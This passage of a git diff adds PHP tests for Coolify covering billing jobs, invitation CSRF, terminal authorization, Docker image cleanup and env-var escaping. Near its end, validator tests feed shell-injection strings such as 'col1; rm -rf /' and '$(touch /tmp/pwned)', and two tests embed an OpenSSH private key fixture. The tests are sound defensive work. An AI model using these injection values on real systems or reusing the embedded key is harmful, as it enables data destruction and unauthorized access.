b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php @@ -0,0 +1,102 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_verify_123', + 'stripe_customer_id' => 'cus_verify_123', + 'stripe_invoice_paid' => true, + 'stripe_past_due' => false, + ]); +}); + +test('subscriptionEnded is called for unpaid status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'unpaid', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + // Create a server to verify it gets disabled + $server = Server::factory()->create(['team_id' => $this->team->id]); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for incomplete_expired status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'incomplete_expired', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); + +test('subscriptionEnded is called for canceled status', function () { + $mockStripe = Mockery::mock(StripeClient::class); + $mockSubscriptions = Mockery::mock(SubscriptionService::class); + $mockStripe->subscriptions = $mockSubscriptions; + + $mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_verify_123') + ->andReturn((object) [ + 'status' => 'canceled', + 'cancel_at_period_end' => false, + ]); + + app()->bind(StripeClient::class, fn () => $mockStripe); + + $job = new VerifyStripeSubscriptionStatusJob($this->subscription); + $job->handle(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); +}); diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.php new file mode 100644 index 000000000..1e911ed86 --- /dev/null +++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php @@ -0,0 +1,147 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(['email' => 'invited@example.com']); + + $this->invitation = TeamInvitation::create([ + 'team_id' => $this->team->id, + 'uuid' => 'test-invitation-uuid', + 'email' => 'invited@example.com', + 'role' => 'member', + 'link' => url('/invitations/test-invitation-uuid'), + 'via' => 'link', + ]); +}); + +test('GET invitation shows landing page without accepting', function () { + $this->actingAs($this->user); + + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertStatus(200); + $response->assertViewIs('invitation.accept'); + $response->assertSee($this->team->name); + $response->assertSee('Accept Invitation'); + + // Invitation should NOT be deleted (not accepted yet) + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should NOT be added to the team + expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse(); +}); + +test('GET invitation with reset-password query param does not reset password', function () { + $this->actingAs($this->user); + $originalPassword = $this->user->password; + + $response = $this->get('/invitations/test-invitation-uuid?reset-password=1'); + + $response->assertStatus(200); + + // Password should NOT be changed + $this->user->refresh(); + expect($this->user->password)->toBe($originalPassword); + + // Invitation should NOT be accepted + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('POST invitation accepts and adds user to team', function () { + $this->actingAs($this->user); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertRedirect(route('team.index')); + + // Invitation should be deleted + $this->assertDatabaseMissing('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should be added to the team + expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue(); +}); + +test('POST invitation without CSRF token is rejected', function () { + $this->actingAs($this->user); + + $response = $this->withoutMiddleware(EncryptCookies::class) + ->post('/invitations/test-invitation-uuid', [], [ + 'X-CSRF-TOKEN' => 'invalid-token', + ]); + + // Should be rejected with 419 (CSRF token mismatch) + $response->assertStatus(419); + + // Invitation should NOT be accepted + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('unauthenticated user cannot view invitation', function () { + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertRedirect(); +}); + +test('wrong user cannot view invitation', function () { + $otherUser = User::factory()->create(['email' => 'other@example.com']); + $this->actingAs($otherUser); + + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertStatus(400); +}); + +test('wrong user cannot accept invitation via POST', function () { + $otherUser = User::factory()->create(['email' => 'other@example.com']); + $this->actingAs($otherUser); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertStatus(400); + + // Invitation should still exist + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('GET revoke route no longer exists', function () { + $this->actingAs($this->user); + + $response = $this->get('/invitations/test-invitation-uuid/revoke'); + + $response->assertStatus(404); +}); + +test('POST invitation for already-member user deletes invitation without duplicating', function () { + $this->user->teams()->attach($this->team->id, ['role' => 'member']); + $this->actingAs($this->user); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertRedirect(route('team.index')); + + // Invitation should be deleted + $this->assertDatabaseMissing('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should still have exactly one membership in this team + expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1); +}); diff --git a/tests/Feature/TeamServerLimitTest.php b/tests/Feature/TeamServerLimitTest.php new file mode 100644 index 000000000..11d7f09d1 --- /dev/null +++ b/tests/Feature/TeamServerLimitTest.php @@ -0,0 +1,53 @@ +set('constants.coolify.self_hosted', true); +}); + +it('returns server limit when team is passed directly without session', function () { + $team = Team::factory()->create(); + + $limit = Team::serverLimit($team); + + // self_hosted returns 999999999999 + expect($limit)->toBe(999999999999); +}); + +it('returns 0 when no team is provided and no session exists', function () { + $limit = Team::serverLimit(); + + expect($limit)->toBe(0); +}); + +it('returns true for serverLimitReached when no team and no session', function () { + $result = Team::serverLimitReached(); + + expect($result)->toBeTrue(); +}); + +it('returns false for serverLimitReached when team has servers under limit', function () { + $team = Team::factory()->create(); + Server::factory()->create(['team_id' => $team->id]); + + $result = Team::serverLimitReached($team); + + // self_hosted has very high limit, 1 server is well under + expect($result)->toBeFalse(); +}); + +it('returns true for serverLimitReached when team has servers at limit', function () { + config()->set('constants.coolify.self_hosted', false); + + $team = Team::factory()->create(['custom_server_limit' => 1]); + Server::factory()->create(['team_id' => $team->id]); + + $result = Team::serverLimitReached($team); + + expect($result)->toBeTrue(); +}); diff --git a/tests/Feature/TerminalAuthIpsRouteTest.php b/tests/Feature/TerminalAuthIpsRouteTest.php new file mode 100644 index 000000000..d4e51ad6c --- /dev/null +++ b/tests/Feature/TerminalAuthIpsRouteTest.php @@ -0,0 +1,51 @@ +set('app.env', 'local'); + + $this->user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + 'team_id' => $this->team->id, + ]); +}); + +it('includes development terminal host aliases for authenticated users', function () { + Server::factory()->create([ + 'name' => 'Localhost', + 'ip' => 'coolify-testing-host', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $response = $this->postJson('/terminal/auth/ips'); + + $response->assertSuccessful(); + $response->assertJsonPath('ipAddresses.0', 'coolify-testing-host'); + + expect($response->json('ipAddresses')) + ->toContain('coolify-testing-host') + ->toContain('localhost') + ->toContain('127.0.0.1') + ->toContain('host.docker.internal'); +}); diff --git a/tests/Feature/TerminalAuthRoutesAuthorizationTest.php b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php new file mode 100644 index 000000000..858cc7101 --- /dev/null +++ b/tests/Feature/TerminalAuthRoutesAuthorizationTest.php @@ -0,0 +1,118 @@ +set('app.env', 'local'); + + $this->team = Team::factory()->create(); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + 'team_id' => $this->team->id, + ]); + + Server::factory()->create([ + 'name' => 'Test Server', + 'ip' => 'coolify-testing-host', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); +}); + +// --- POST /terminal/auth --- + +it('denies unauthenticated users on POST /terminal/auth', function () { + $this->postJson('/terminal/auth') + ->assertStatus(401); +}); + +it('denies non-admin team members on POST /terminal/auth', function () { + $member = User::factory()->create(); + $member->teams()->attach($this->team, ['role' => 'member']); + + $this->actingAs($member); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth') + ->assertStatus(403); +}); + +it('allows team owners on POST /terminal/auth', function () { + $owner = User::factory()->create(); + $owner->teams()->attach($this->team, ['role' => 'owner']); + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth') + ->assertStatus(200) + ->assertJson(['authenticated' => true]); +}); + +it('allows team admins on POST /terminal/auth', function () { + $admin = User::factory()->create(); + $admin->teams()->attach($this->team, ['role' => 'admin']); + + $this->actingAs($admin); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth') + ->assertStatus(200) + ->assertJson(['authenticated' => true]); +}); + +// --- POST /terminal/auth/ips --- + +it('denies unauthenticated users on POST /terminal/auth/ips', function () { + $this->postJson('/terminal/auth/ips') + ->assertStatus(401); +}); + +it('denies non-admin team members on POST /terminal/auth/ips', function () { + $member = User::factory()->create(); + $member->teams()->attach($this->team, ['role' => 'member']); + + $this->actingAs($member); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth/ips') + ->assertStatus(403); +}); + +it('allows team owners on POST /terminal/auth/ips', function () { + $owner = User::factory()->create(); + $owner->teams()->attach($this->team, ['role' => 'owner']); + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth/ips') + ->assertStatus(200) + ->assertJsonStructure(['ipAddresses']); +}); + +it('allows team admins on POST /terminal/auth/ips', function () { + $admin = User::factory()->create(); + $admin->teams()->attach($this->team, ['role' => 'admin']); + + $this->actingAs($admin); + session(['currentTeam' => $this->team]); + + $this->postJson('/terminal/auth/ips') + ->assertStatus(200) + ->assertJsonStructure(['ipAddresses']); +}); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php index b745259fe..5c60b30d6 100644 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -286,6 +286,56 @@ expect($response->status())->not->toBe(400); }); +it('trusts localhost when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('localhost'); +}); + +it('trusts 127.0.0.1 when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('127.0.0.1'); +}); + +it('trusts IPv6 loopback when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('[::1]'); +}); + +it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $response = $this->get('/', [ + 'Host' => 'localhost', + ]); + + // Should NOT be rejected as untrusted host (would be 400) + expect($response->status())->not->toBe(400); +}); + it('skips host validation for webhook endpoints', function () { // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) // and use cryptographic signature validation instead of host validation diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index 630b1bf53..fc8b8ab9b 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -8,9 +8,7 @@ Mockery::close(); }); -it('categorizes images correctly into PR and regular images', function () { - // Test the image categorization logic - // Build images (*-build) are excluded from retention and handled by docker image prune +it('categorizes images correctly into PR, build, and regular images', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'], ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'], @@ -25,6 +23,11 @@ expect($prImages)->toHaveCount(2); expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456'); + // Build images (tags ending with '-build', excluding PR builds) + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + expect($buildImages)->toHaveCount(2); + expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build'); + // Regular images (neither PR nor build) - these are subject to retention policy $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); expect($regularImages)->toHaveCount(2); @@ -340,3 +343,128 @@ // Other images should not be protected expect(preg_match($pattern, 'nginx:alpine'))->toBe(0); }); + +it('deletes build images not matching retained regular images', function () { + // Simulates the Nixpacks scenario from issue #8765: + // Many -build images accumulate because they were excluded from both cleanup paths + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], + ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'], + ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'], + ['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'], + ['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'], + ]); + + $currentTag = 'commit5'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // Determine kept tags: current + N newest rollback + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + // Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback) + expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3'); + + // Build images to delete: those whose base tag is NOT in keptTags + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Should delete commit1-build and commit2-build (their base tags are not kept) + expect($buildImagesToDelete)->toHaveCount(2); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build'); + + // Should keep commit3-build, commit4-build, commit5-build (matching retained images) + $buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return $keptTags->contains($baseTag); + }); + expect($buildImagesToKeep)->toHaveCount(3); + expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build'); +}); + +it('deletes all build images when retention is disabled', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ]); + + $currentTag = 'commit2'; + $imagesToKeep = 0; // Retention disabled + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // With imagesToKeep=0, only current tag is kept + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // commit1-build should be deleted (not retained), commit2-build kept (matches running) + expect($buildImagesToDelete)->toHaveCount(1); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); +}); + +it('preserves build image for currently running tag', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ]); + + $currentTag = 'commit1'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Build image for running tag should NOT be deleted + expect($buildImagesToDelete)->toHaveCount(0); +}); diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.php index c0c8660e1..305bc72a2 100644 --- a/tests/Unit/ApplicationComposeEditorLoadTest.php +++ b/tests/Unit/ApplicationComposeEditorLoadTest.php @@ -3,7 +3,6 @@ use App\Models\Application; use App\Models\Server; use App\Models\StandaloneDocker; -use Mockery; /** * Unit test to verify docker_compose_raw is properly synced to the Livewire component diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php index bd925444a..4c7ec9d9d 100644 --- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php +++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php @@ -88,11 +88,11 @@ $envArgsProperty->setAccessible(true); $envArgs = $envArgsProperty->getValue($job); - // Verify that only valid environment variables are included - expect($envArgs)->toContain('--env VALID_VAR=valid_value'); - expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value'); - expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com'); - expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123'); + // Verify that only valid environment variables are included (values are now single-quote escaped) + expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'"); + expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'"); + expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'"); + expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'"); // Verify that null and empty environment variables are filtered out expect($envArgs)->not->toContain('NULL_VAR'); @@ -102,7 +102,7 @@ // Verify no environment variables end with just '=' (which indicates null/empty value) expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/'); - expect($envArgs)->not->toMatch('/--env [A-Z_]+= /'); + expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/"); }); it('filters out null environment variables from nixpacks preview deployments', function () { @@ -164,9 +164,9 @@ $envArgsProperty->setAccessible(true); $envArgs = $envArgsProperty->getValue($job); - // Verify that only valid environment variables are included - expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value'); - expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com'); + // Verify that only valid environment variables are included (values are now single-quote escaped) + expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'"); + expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'"); // Verify that null environment variables are filtered out expect($envArgs)->not->toContain('NULL_PREVIEW_VAR'); @@ -236,6 +236,48 @@ expect($envArgs)->toBe(''); }); +it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () { + // This test verifies the fix for GitHub issue #6830: + // When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null + // in generate_coolify_env_variables(). The generate_env_variables() method + // merges these into env_args which become the nixpacks plan JSON "variables". + // Nixpacks requires all variable values to be strings, so null causes: + // "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string" + + // Simulate the coolify env collection with null values (as produced when fqdn is null) + $coolify_envs = collect([ + 'COOLIFY_URL' => null, + 'COOLIFY_FQDN' => null, + 'COOLIFY_BRANCH' => 'main', + 'COOLIFY_RESOURCE_UUID' => 'abc123', + 'COOLIFY_CONTAINER_NAME' => '', + ]); + + // Apply the same filtering logic used in generate_env_variables() + $env_args = collect([]); + $coolify_envs->each(function ($value, $key) use ($env_args) { + if (! is_null($value) && $value !== '') { + $env_args->put($key, $value); + } + }); + + // Null values must NOT be present — they cause nixpacks JSON parse errors + expect($env_args->has('COOLIFY_URL'))->toBeFalse(); + expect($env_args->has('COOLIFY_FQDN'))->toBeFalse(); + expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse(); + + // Non-null values must be preserved + expect($env_args->get('COOLIFY_BRANCH'))->toBe('main'); + expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123'); + + // The resulting array must be safe for json_encode into nixpacks config + $json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT); + $parsed = json_decode($json, true); + foreach ($parsed['variables'] as $value) { + expect($value)->toBeString(); + } +}); + it('preserves environment variables with zero values', function () { // Mock application with nixpacks build pack $mockApplication = Mockery::mock(Application::class); @@ -293,7 +335,7 @@ $envArgsProperty->setAccessible(true); $envArgs = $envArgsProperty->getValue($job); - // Verify that zero and false string values are preserved - expect($envArgs)->toContain('--env ZERO_VALUE=0'); - expect($envArgs)->toContain('--env FALSE_VALUE=false'); + // Verify that zero and false string values are preserved (values are now single-quote escaped) + expect($envArgs)->toContain("--env 'ZERO_VALUE=0'"); + expect($envArgs)->toContain("--env 'FALSE_VALUE=false'"); }); diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php index d240181f1..be7c7d528 100644 --- a/tests/Unit/ApplicationDeploymentTypeTest.php +++ b/tests/Unit/ApplicationDeploymentTypeTest.php @@ -1,11 +1,54 @@ private_key_id = 5; + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns deploy_key when private_key_id is a real key even with source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 5; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5); + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns source when private_key_id is null and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = null; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns source when private_key_id is zero and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 0; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns deploy_key when private_key_id is zero and no source', function () { + $application = new Application; $application->private_key_id = 0; $application->source = null; expect($application->deploymentType())->toBe('deploy_key'); }); + +it('returns other when private_key_id is null and no source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('source')->andReturn(null); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('other'); +}); diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php index 1babdcf49..241364a93 100644 --- a/tests/Unit/ApplicationPortDetectionTest.php +++ b/tests/Unit/ApplicationPortDetectionTest.php @@ -11,7 +11,6 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use Illuminate\Support\Collection; -use Mockery; beforeEach(function () { // Clean up Mockery after each test diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php index b38a6aa8e..0b33db470 100644 --- a/tests/Unit/ContainerHealthStatusTest.php +++ b/tests/Unit/ContainerHealthStatusTest.php @@ -1,7 +1,6 @@ validateShellSafePath('test123', 'database name')) ->not->toThrow(Exception::class); }); + +// --- MongoDB collection name validation tests --- + +test('mongodb collection name rejects command substitution injection', function () { + expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name')) + ->toThrow(Exception::class); +}); + +test('mongodb collection name rejects backtick injection', function () { + expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name')) + ->toThrow(Exception::class); +}); + +test('mongodb collection name rejects semicolon injection', function () { + expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name')) + ->toThrow(Exception::class); +}); + +test('mongodb collection name rejects ampersand injection', function () { + expect(fn () => validateShellSafePath('col1 & whoami', 'collection name')) + ->toThrow(Exception::class); +}); + +test('mongodb collection name rejects redirect injection', function () { + expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name')) + ->toThrow(Exception::class); +}); + +test('validateDatabasesBackupInput validates mongodb format with collection names', function () { + // Valid MongoDB formats should pass + expect(fn () => validateDatabasesBackupInput('mydb')) + ->not->toThrow(Exception::class); + + expect(fn () => validateDatabasesBackupInput('mydb:col1,col2')) + ->not->toThrow(Exception::class); + + expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3')) + 